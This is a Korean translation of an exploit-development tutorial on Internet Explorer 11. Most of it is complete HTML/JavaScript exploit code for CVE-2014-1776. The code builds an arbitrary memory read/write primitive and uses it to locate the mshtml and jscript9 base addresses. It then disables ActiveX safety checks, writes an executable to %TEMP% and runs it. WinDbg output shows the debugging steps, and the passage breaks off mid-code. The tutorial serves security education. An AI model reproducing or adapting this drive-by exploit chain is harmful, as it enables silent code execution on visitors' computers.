티스토리 뷰
본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다.
http://expdev-kiuhnm.rhcloud.com
최신 윈도우즈 익스플로잇 개발 19. IE 11 (Part 2)
hackability.kr (김태범)
hackability_at_naver.com or ktb88_at_korea.ac.kr
2016.07.22
이전 POC 에서는 페이지가 모두 로드된 이후에 자바스크립트가 동작해야 하기 때문에 window.onload를 사용했습니다. 본 익스플로잇 역시 동일해야 하며 몇몇 변경이 필요한 부분이 있습니다. 아래는 전체 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 | <html xmlns:v="urn:schemas-microsoft-com:vml"> <head id="haed"> <title>IE Case Study - STEP1</title> <style> v\:*{Behavior: url(#default#VML)} </style> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" /> <script language="javascript"> window.onload = function() { CollectGarbage(); var header_size = 0x20; var array_len = (0x10000 - header_size)/4; var a = new Array(); for (var i = 0; i < 0x1000; ++i) { a[i] = new Array(array_len); a[i][0] = 0; } magic_addr = 0xc000000; // /------- allocation header -------\ /--------- buffer header ---------\ // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000 // array_len buf_len alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16)); // Locate the modified Array. var idx = -1; for (var i = 0; i < 0x1000 - 1; ++i) { // We try to modify the first element of the next Array. a[i][array_len + header_size/4] = 1; // If we successfully modified the first element of the next Array, then a[i] // is the Array whose length we modified. if (a[i+1][0] == 1) { idx = i; break; } } if (idx == -1) { alert("Can't find the modified Array"); return; } // Modify the second Array for reading/writing everywhere. a[idx][array_len + 0x14/4] = 0x3fffffff; a[idx][array_len + 0x18/4] = 0x3fffffff; a[idx+1].length = 0x3fffffff; var base_addr = magic_addr + 0x10000 + header_size; // Very Important: // The numbers in Array are signed int32. Numbers greater than 0x7fffffff are // converted to 64-bit floating point. // This means that we can't, for instance, write // a[idx+1][index] = 0xc1a0c1a0; // The number 0xc1a0c1a0 is too big to fit in a signed int32. // We'll need to represent 0xc1a0c1a0 as a negative integer: // a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0); function int2uint(x) { return (x < 0) ? 0x100000000 + x : x; } function uint2int(x) { return (x >= 0x80000000) ? x - 0x100000000 : x; } // The value returned will be in [0, 0xffffffff]. function read(addr) { var delta = addr - base_addr; var val; if (delta >= 0) val = a[idx+1][delta/4]; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 val = a[idx+1][(0x100000000 + delta)/4]; return int2uint(val); } // val must be in [0, 0xffffffff]. function write(addr, val) { val = uint2int(val); var delta = addr - base_addr; if (delta >= 0) a[idx+1][delta/4] = val; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 a[idx+1][(0x100000000 + delta)/4] = val; } function get_addr(obj) { a[idx+2][0] = obj; return read(base_addr + 0x10000); } // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50 // v // 04ab2d50 151f1ec0 00000000 00000000 // 6f5569ce 00000000 0085f5d8 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce var addr = get_addr(document.createElement("div")); jscript9 = read(addr) - 0x2d50; mshtml = read(addr + 0x10) - 0x1569ce; var old1 = read(mshtml+0xebcd98+0x10); var old2 = read(mshtml+0xebcd98+0x14); function GodModeOn() { write(mshtml+0xebcd98+0x10, jscript9+0x155e19); write(mshtml+0xebcd98+0x14, jscript9+0x155d7d); } function GodModeOff() { write(mshtml+0xebcd98+0x10, old1); write(mshtml+0xebcd98+0x14, old2); } // content of exe file encoded in base64. runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' try { bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists } catch(err) { return 0; } tStream.Close(); bStream.Close(); return 1; } function decode(b64Data) { var data = window.atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } GodModeOn(); var shell = new ActiveXObject("WScript.shell"); GodModeOff(); fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); if (createExe(fname, decode(runcalc)) == 0) { // alert("SaveToFile failed"); window.location.reload(); return 0; } shell.Exec(fname); alert("Done"); } </script> </head> <body><v:group id="vml" style="width:500pt;"><div></div></group></body> </html> | cs |
여기서 runcalc 를 생략했습니다. 전체 코드는 아래 링크에서 다운 받을 수 있습니다.
- http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/06/code6.zip
이를 실행시키면, 익숙한 알림창이 뜨게 됩니다.
뭔가 변경 되어 God Mode 가 더이상 동작하지 않음을 뜻합니다.
먼저, jscript9과 mshtml이 정확한 기본 주소를 갖는지 확인하기 위해 2개의 알림창을 추가합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 | // Back to determining the base address of MSHTML... // Here's the beginning of the element div: // +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50 // v // 04ab2d50 151f1ec0 00000000 00000000 // 6f5569ce 00000000 0085f5d8 00000000 // ^ // +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce var addr = get_addr(document.createElement("div")); jscript9 = read(addr) - 0x2d50; mshtml = read(addr + 0x10) - 0x1569ce; alert(jscript9.toString(16)); alert(mshtml.toString(16)); | cs |
addr 주소의 객체를 분석할 때, 뭔가 빠졋음을 알았습니다.
0:021> dd 3c600e0
03c600e0 6cd75480 03c54120 00000000 03c6cfa0
03c600f0 029648a0 03c6af44 03c6af74 00000000
03c60100 6cd7898c 00000001 00000009 00000000
03c60110 0654d770 00000000 00000000 00000000
03c60120 6cd75480 03c54120 00000000 03c6c000
03c60130 029648a0 03c6a3d4 03c6af44 00000000
03c60140 6cd75480 03c54120 00000000 03c6cfb0
03c60150 029648a0 029648c0 03c60194 00000000
0:021> ln 6cd75480
(6cd75480) jscript9!HostDispatch::`vftable' | (6cd755d8) jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
jscript9!HostDispatch::`vftable' = <no type information>
0:021> ln 029648a0
0:021> dds 3c600e0
03c600e0 6cd75480 jscript9!HostDispatch::`vftable'
03c600e4 03c54120
03c600e8 00000000
03c600ec 03c6cfa0
03c600f0 029648a0
03c600f4 03c6af44
03c600f8 03c6af74
03c600fc 00000000
03c60100 6cd7898c jscript9!HostVariant::`vftable'
03c60104 00000001
03c60108 00000009
03c6010c 00000000
03c60110 0654d770
03c60114 00000000
03c60118 00000000
03c6011c 00000000
03c60120 6cd75480 jscript9!HostDispatch::`vftable'
03c60124 03c54120
03c60128 00000000
03c6012c 03c6c000
03c60130 029648a0
03c60134 03c6a3d4
03c60138 03c6af44
03c6013c 00000000
03c60140 6cd75480 jscript9!HostDispatch::`vftable'
03c60144 03c54120
03c60148 00000000
03c6014c 03c6cfb0
03c60150 029648a0
03c60154 029648c0
03c60158 03c60194
03c6015c 00000000
어떻게 vftable 포인터 없이 mshtml.dll의 기본 주소를 결정할 수 있을까요?
다른 방법을 찾아야 합니다. 우리는 jscript9!HostDispatch 종류의 객체에 의해 div 가 표현됨을 배웠습니다. 하지만 해당 객체가 이미 동작하고 있는 것을 봤습니다. 충돌의 스택 트레이스를 기억하시나요?
0:007> k 10
ChildEBP RetAddr
0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a
아래 2 줄을 보시기 바랍니다.
0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
이는 명백히 jscript9!HostDispatch::CallInvokeEx는 MSHTML!CBase::PrivateInvokeEx의 주소를 알고 있고, 만약 운이 좋다면 이 주소는 HostDispatch 객체로 부터 도달할 수 있습니다.
IDA에서 jscript9!HostDispatch::CallInvokeEx를 보도록 하겠습니다. IDA에서 jscript9을 불러와 Ctrl+P를 눌러 CallInvokEx로 이동합니다. 아무 명령이나 클릭하여 현재 함수에서의 오프셋을 확인합니다. 여기서 원하는 명령은 CallInvokeEx의 오프셋 0xae에 있는 명령입니다.
MSHTML!CBase::PrivateInvokeEx 주소는 eax+20h 주소에 있는 것 같습니다.
UAF 버그에서 했던 것 처럼, MSHTML!CBase::PrivateInvokeEx 주소가 어디서 왔는지 찾아보도록 하겠습니다.
여기서 GetHostVariantWrapper 함수를 조사해보도록 하겠습니다.
위 내용을 종합해보면 다음과 같습니다.
X = [this+0ch]
var_14 = [X+8]
X = var_14
obj_ptr = [X+10h]
좀 더 간단하게는 다음과 같습니다.
X = [this+0ch]
X = [X+8]
obj_ptr = [X+10h]
우리가 잘 왔는지 확인해보도록 하겠습니다. IE 에서 html 페이지를 다시 불러온 뒤, div 를 살펴보도록 하겠습니다.
0:022> dd 5360f20
05360f20 6cc55480 05354280 00000000 0536cfb0
05360f30 0419adb0 0536af74 0536afa4 00000000
05360f40 6cc5898c 00000001 00000009 00000000
05360f50 00525428 00000000 00000000 00000000
05360f60 05360f81 00000000 00000000 00000000
05360f70 00000000 00000000 00000000 00000000
05360f80 05360fa1 00000000 00000000 00000000
05360f90 00000000 00000000 00000000 00000000
0:022> ln 6cc55480
(6cc55480) jscript9!HostDispatch::`vftable' | (6cc555d8) jscript9!Js::ConcatStringN<4>::`vftable'
Exact matches:
jscript9!HostDispatch::`vftable' = <no type information>
0:022> dd poi(5360f20+c)
0536cfb0 6cc52d44 00000001 05360f00 00000000
0536cfc0 6cc52d44 00000001 05360f40 00000000
0536cfd0 0536cfe1 00000000 00000000 00000000
0536cfe0 0536cff1 00000000 00000000 00000000
0536cff0 0536cf71 00000000 00000000 00000000
0536d000 6cc54534 0535d8c0 00000000 00000005
0536d010 00004001 047f0010 053578c0 00000000
0536d020 00000001 05338760 00000000 00000000
0:022> ln 6cc52d44
(6cc52d44) jscript9!DummyVTableObject::`vftable' | (6cc52d50) jscript9!Projection::ArrayObjectInstance::`vftable'
Exact matches:
jscript9!Projection::UnknownEventHandlingThis::`vftable' = <no type information>
jscript9!Js::FunctionInfo::`vftable' = <no type information>
jscript9!Projection::UnknownThis::`vftable' = <no type information>
jscript9!Projection::NamespaceThis::`vftable' = <no type information>
jscript9!Js::WinRTFunctionInfo::`vftable' = <no type information>
jscript9!RefCountedHostVariant::`vftable' = <no type information>
jscript9!DummyVTableObject::`vftable' = <no type information>
jscript9!Js::FunctionProxy::`vftable' = <no type information>
0:022> dd poi(poi(5360f20+c)+8)
05360f00 6cc5898c 00000005 00000009 00000000
05360f10 00565d88 00000000 00000000 00000000
05360f20 6cc55480 05354280 00000000 0536cfb0
05360f30 0419adb0 0536af74 0536afa4 00000000
05360f40 6cc5898c 00000001 00000009 00000000
05360f50 00525428 00000000 00000000 00000000
05360f60 05360f81 00000000 00000000 00000000
05360f70 00000000 00000000 00000000 00000000
0:022> ln 6cc5898c
(6cc5898c) jscript9!HostVariant::`vftable' | (6cc589b5) jscript9!Js::CustomExternalObject::SetProperty
Exact matches:
jscript9!HostVariant::`vftable' = <no type information>
0:022> dd poi(poi(poi(5360f20+c)+8)+10)
00565d88 6f03eb04 00000001 00000000 00000008
00565d98 00000000 05360f08 00000000 00000000
00565da8 00000022 02000400 00000000 00000000
00565db8 07d47798 07d47798 5c0cccc8 88000000
00565dc8 003a0043 0057005c 006e0069 006f0064
00565dd8 00730077 0073005c 00730079 00650074
00565de8 0033006d 005c0032 00580053 002e0053
00565df8 004c0044 0000004c 5c0cccb0 88000000
0:022> ln 6f03eb04
(6f03eb04) MSHTML!CDivElement::`vftable' | (6ede7f24) MSHTML!s_propdescCDivElementnofocusrect
Exact matches:
MSHTML!CDivElement::`vftable' = <no type information>
빙고! 문제가 해결되었습니다! 이제 vftable의 RVA 주소는 다음 연산으로 구할 수 있습니다.
0:005> ? 6f03eb04-mshtml
Evaluate expression: 3861252 = 003aeb04
jscript9!HostDispatch::`vftable` 의 RVA도 구해야 합니다.
0:005> ? 6cc55480-jscript9
Evaluate expression: 21632 = 00005480
수정된 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | // Here's the beginning of the element div: // +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480 // v // 6cc55480 05354280 00000000 0536cfb0 // // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers: // X = [div_elem+0ch] // X = [X+8] // obj_ptr = [X+10h] // vftptr = [obj_ptr] // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04. var addr = get_addr(document.createElement("div")); jscript9 = read(addr) - 0x5480; mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04; alert(jscript9.toString(16)); alert(mshtml.toString(16)); return; | cs |
시도 해보시길 바랍니다! 동작이 잘 될 겁니다.
이제 두 개의 알림창과 return 을 제거 합니다. 음... 계산기가 뜨지 않는걸로 보아 하니 뭔가 문제가 있음이 분명합니다. (또!?) 뭐가 문제인지 보기 위해 개발자 툴(Developer Tools) 를 사용합니다. 보아하니 개발자 툴이 활성화 되어 있으면 God Mode가 동작하지 않는 것 같습니다. ActiveXObject의 실행을 허용하면 다음과 같은 에러를 볼 수 있습니다.
운 좋게도, 문제는 간단합니다. atob가 IE9에서 사용할 수 없던 것이였습니다. atob를 위해 polyfill 이라는 것을 찾았습니다.
- https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills#base64-windowatob-and-windowbtoa
아래는 수정된 코드입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 | <html xmlns:v="urn:schemas-microsoft-com:vml"> <head id="haed"> <title>IE Case Study - STEP1</title> <style> v\:*{Behavior: url(#default#VML)} </style> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" /> <script language="javascript"> window.onload = function() { CollectGarbage(); var header_size = 0x20; var array_len = (0x10000 - header_size)/4; var a = new Array(); for (var i = 0; i < 0x1000; ++i) { a[i] = new Array(array_len); a[i][0] = 0; } magic_addr = 0xc000000; // /------- allocation header -------\ /--------- buffer header ---------\ // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000 // array_len buf_len alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16)); // Locate the modified Array. var idx = -1; for (var i = 0; i < 0x1000 - 1; ++i) { // We try to modify the first element of the next Array. a[i][array_len + header_size/4] = 1; // If we successfully modified the first element of the next Array, then a[i] // is the Array whose length we modified. if (a[i+1][0] == 1) { idx = i; break; } } if (idx == -1) { alert("Can't find the modified Array"); return; } // Modify the second Array for reading/writing everywhere. a[idx][array_len + 0x14/4] = 0x3fffffff; a[idx][array_len + 0x18/4] = 0x3fffffff; a[idx+1].length = 0x3fffffff; var base_addr = magic_addr + 0x10000 + header_size; // Very Important: // The numbers in Array are signed int32. Numbers greater than 0x7fffffff are // converted to 64-bit floating point. // This means that we can't, for instance, write // a[idx+1][index] = 0xc1a0c1a0; // The number 0xc1a0c1a0 is too big to fit in a signed int32. // We'll need to represent 0xc1a0c1a0 as a negative integer: // a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0); function int2uint(x) { return (x < 0) ? 0x100000000 + x : x; } function uint2int(x) { return (x >= 0x80000000) ? x - 0x100000000 : x; } // The value returned will be in [0, 0xffffffff]. function read(addr) { var delta = addr - base_addr; var val; if (delta >= 0) val = a[idx+1][delta/4]; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 val = a[idx+1][(0x100000000 + delta)/4]; return int2uint(val); } // val must be in [0, 0xffffffff]. function write(addr, val) { val = uint2int(val); var delta = addr - base_addr; if (delta >= 0) a[idx+1][delta/4] = val; else // In 2-complement arithmetic, // -x/4 = (2^32 - x)/4 a[idx+1][(0x100000000 + delta)/4] = val; } function get_addr(obj) { a[idx+2][0] = obj; return read(base_addr + 0x10000); } // Here's the beginning of the element div: // +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480 // v // 6cc55480 05354280 00000000 0536cfb0 // // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers: // X = [div_elem+0ch] // X = [X+8] // obj_ptr = [X+10h] // vftptr = [obj_ptr] // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04. var addr = get_addr(document.createElement("div")); jscript9 = read(addr) - 0x5480; mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04; var old1 = read(mshtml+0xebcd98+0x10); var old2 = read(mshtml+0xebcd98+0x14); function GodModeOn() { write(mshtml+0xebcd98+0x10, jscript9+0x155e19); write(mshtml+0xebcd98+0x14, jscript9+0x155d7d); } function GodModeOff() { write(mshtml+0xebcd98+0x10, old1); write(mshtml+0xebcd98+0x14, old2); } // content of exe file encoded in base64. runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' try { bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists } catch(err) { return 0; } tStream.Close(); bStream.Close(); return 1; } // decoder // [https://gist.github.com/1020396] by [https://github.com/atk] function atob(input) { var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var str = String(input).replace(/=+$/, ''); if (str.length % 4 == 1) { throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded."); } for ( // initialize result and counters var bc = 0, bs, buffer, idx = 0, output = ''; // get next character buffer = str.charAt(idx++); // character found in table? initialize bit storage and add its ascii value; ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer, // and if not first of each 4 characters, // convert the first 8 bits to one ascii character bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0 ) { // try to find character in table (0-63, not found => -1) buffer = chars.indexOf(buffer); } return output; } function decode(b64Data) { var data = atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } GodModeOn(); var shell = new ActiveXObject("WScript.shell"); GodModeOff(); fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); if (createExe(fname, decode(runcalc)) == 0) { alert("SaveToFile failed"); window.location.reload(); return 0; } shell.Exec(fname); alert("Done"); } </script> </head> <body><v:group id="vml" style="width:500pt;"><div></div></group></body> </html> | cs |
전과 동일하게 runcalc는 생략했습니다.
- http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/06/code7.zip
이제 계산기가 뜨고 충돌이 발생하기 전까지 모든게 잘 동작하는 것 같습니다. 충돌은 항상 발생하지 않지만 코드에는 분명 문제가 있습니다. 충돌은 아마 잘못된 쓰기에 의해 발생될 것 입니다. God Mode가 정확히 동작한 이후, 이 문제는 bStream.SaveToFile 이 전의 2개의 쓰기에서 발생됩니다.
2개의 쓰기를 주석처리하고 다시 시도해봅니다. 이제 충돌이 발생되지 않습니다. 하지만 단순히 2개의 쓰기를 뺄 순 없습니다. 만약 우리가 SimpleServer를 이용한다면 2개의 쓰기가 필요하기 때문에 동작하지 않을 겁니다. 신기하게도 2개의 쓰기를 추가하면 정상적으로 잘 작동합니다.
이에 대해 조사를 해보면, 하드 디스크로부터 IE에 html 페이지를 불러오면 string_addr은 null dword를 가리킵니다. 반면에 127.0.0.1 로 부터 페이지를 불러오면 string_addr은 유니코드 문자열 http://127.0.0.1/ 을 가리킵니다. 이 때문에, 우리는 코드를 수정해야 합니다.
1 2 3 4 5 6 7 8 9 10 11 12 | var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); if (read(string_addr) != 0) { // only when there is a string to overwrite write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' } try { bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists } catch(err) { return 0; } | cs |
익스플로잇 완성 시키기
이제 익스플로잇을 완성 시킬 시간입니다. 아래는 전체 코드 입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 | <html xmlns:v="urn:schemas-microsoft-com:vml"> <head id="haed"> <title>IE Case Study - STEP1</title> <style> v\:*{Behavior: url(#default#VML)} </style> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" /> <script language="javascript"> magic_addr = 0xc000000; function dword2Str(dword) { var low = dword % 0x10000; var high = Math.floor(dword / 0x10000); if (low == 0 || high == 0) alert("dword2Str: null wchars not allowed"); return String.fromCharCode(low, high); } function getPattern(offset_values, tot_bytes) { if (tot_bytes % 4 != 0) alert("getPattern(): tot_bytes is not a multiple of 4"); var pieces = new Array(); var pos = 0; for (i = 0; i < offset_values.length/2; ++i) { var offset = offset_values[i*2]; var value = offset_values[i*2 + 1]; var padding = new Array((offset - pos)/2 + 1).join("a"); pieces.push(padding + dword2Str(value)); pos = offset + 4; } // The "- 2" accounts for the null wchar at the end of the string. var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a"); pieces.push(padding); return pieces.join(""); } function trigger() { var head = document.getElementById("haed") tmp = document.createElement("CVE-2014-1776") document.getElementById("vml").childNodes[0].appendChild(tmp) tmp.appendChild(head) tmp = head.offsetParent tmp.onpropertychange = function(){ this["removeNode"](true) document.createElement("CVE-2014-1776").title = "" var elem = document.createElement("div"); elem.className = getPattern([ 0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0] 0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1] 0x198, -1 // bit 12 set ], 0x428); } head.firstChild.nextSibling.disabled = head } // The object is 0x428 bytes. // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b: // X = [ptr+0A4h] ==> Y = [X+0ch] ==> // [Y+208h] is 0 // [Y+630h+248h] = [Y+878h] val to inc! <====== // [Y+630h+380h] = [Y+9b0h] has bit 16 set // [Y+630h+3f4h] = [Y+0a24h] has bit 7 set // [Y+1044h] is 0 // U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch], // [W+0ah] has bit 1 set & bit 4 unset // [W+44h] has bit 7 set // [W+5ch] is writable // [ptr+198h] has bit 12 set window.onload = function() { CollectGarbage(); var header_size = 0x20; var array_len = (0x10000 - header_size)/4; var a = new Array(); for (var i = 0; i < 0x1000; ++i) { a[i] = new Array(array_len); var idx; b = a[i]; b[0] = magic_addr + 0x1b - 0x878; // Y idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4); // index for Y+9b0h b[idx] = -1; b[idx+1] = -1; idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4); // index for Y+0a24h b[idx] = -1; b[idx+1] = -1; idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4); // index for Y+1044h b[idx] = 0; b[idx+1] = 0; // The following address would be negative so we add 0x10000 to translate the address // from the previous copy of the array to this one. idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4); // index for Y+208h b[idx] = 0; b[idx+1] = 0; b[1] = magic_addr + 0x28 - 0x1c; // V, [U-24h]; V+1ch --> b[2] b[(0x24 + 0x24 - 0x20)/4] = 0; // [U] (*) b[2] = magic_addr + 0x2c - 0xa; // W; W+0ah --> b[3] b[3] = 2; // [W+0ah] idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4); // index for W+44h b[idx] = -1; b[idx+1] = -1; } // /------- allocation header -------\ /--------- buffer header ---------\ // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000 // array_len buf_len // alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16)); trigger(); // Locate the modified Array. idx = -1; for (var i = 0; i < 0x1000 - 1; ++i) { // We try to modify the first element of the next Array. a[i][array_len + header_size/4] = 1; // If we successfully modified the first element of the next Array, then a[i] // is the Array whose length we modified. if (a[i+1][0] == 1) { idx = i; break; } } if (idx == -1) { // alert("Can't find the modified Array"); window.location.reload(); return; } // Modify the second Array for reading/writing everywhere. a[idx][array_len + 0x14/4] = 0x3fffffff; a[idx][array_len + 0x18/4] = 0x3fffffff; a[idx+1].length = 0x3fffffff; var base_addr = magic_addr + 0x10000 + header_size; // Very Important: // The numbers in Array are signed int32. Numbers greater than 0x7fffffff are // converted to 64-bit floating point. // This 